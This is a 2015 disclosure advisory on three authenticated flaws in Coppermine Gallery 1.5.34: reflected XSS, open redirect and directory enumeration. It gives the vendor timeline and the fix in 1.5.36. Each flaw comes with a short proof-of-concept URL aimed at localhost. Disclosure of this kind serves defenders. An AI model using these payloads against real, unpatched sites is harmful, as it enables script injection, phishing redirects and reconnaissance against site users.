Coppermine Gallery 1.5.34 Multiple Security Vulnerabilities

Date: 12 May 2015

Exploit Author: Mahendra

Vendor Homepage: http://coppermine-gallery.net/

Software Link: http://sourceforge.net/projects/coppermine/files/

CVE(s): CVE-2015-3921, CVE-2015-3922, CVE-2015-3923

Advisory Timeline

15 April 2015: Vendor notified and responded back

15 April 2015: Vulnerabilities provided to vendor

08 May 2015: Version 1.5.36 released to fix the security vulnerabilities (http://forum.coppermine-gallery.net/index.php/topic,78194.msg378416/topicseen.html#msg378416)

12 May 2015: Advisory released

Product information:

Coppermine is a multi-purpose fully-featured and integrated web picture gallery script written in PHP using GD or ImageMagick as image library with a MySQL backend.

Several security vulnerabilities have been identified on Coppermine Gallery version 1.5.34.

Proof of Concept (PoC)

Authentication is required for all the vulnerabilities identified below.

Reflected Cross-site Scripting (XSS) - CVE-2015-3921

XSS is on hidden field. You can combine with css or other types of payload to bypass the hidden type.

PoC:

http://localhost/cpg1.5.34/cpg15x/contact.php?referer=mahendra"+onmouseover%3D"alert(/XSS/)

Open Redirection - CVE-2015-3922

PoC:

http://localhost/cpg1.5.34/cpg15x/mode.php?what=news&referer=//www.example.com

----

Unauthorised Directory Enumeration - CVE-2015-3923

It is possible to view the OS directories structure by changing the "folder" parameter to a directory in an OS, e.g. C:\

This vulnerability does not allow malicious user to read or write a file in a directory.

PoC:

http://localhost/cpg1.5.34/cpg15x/minibrowser.php?folder=C:\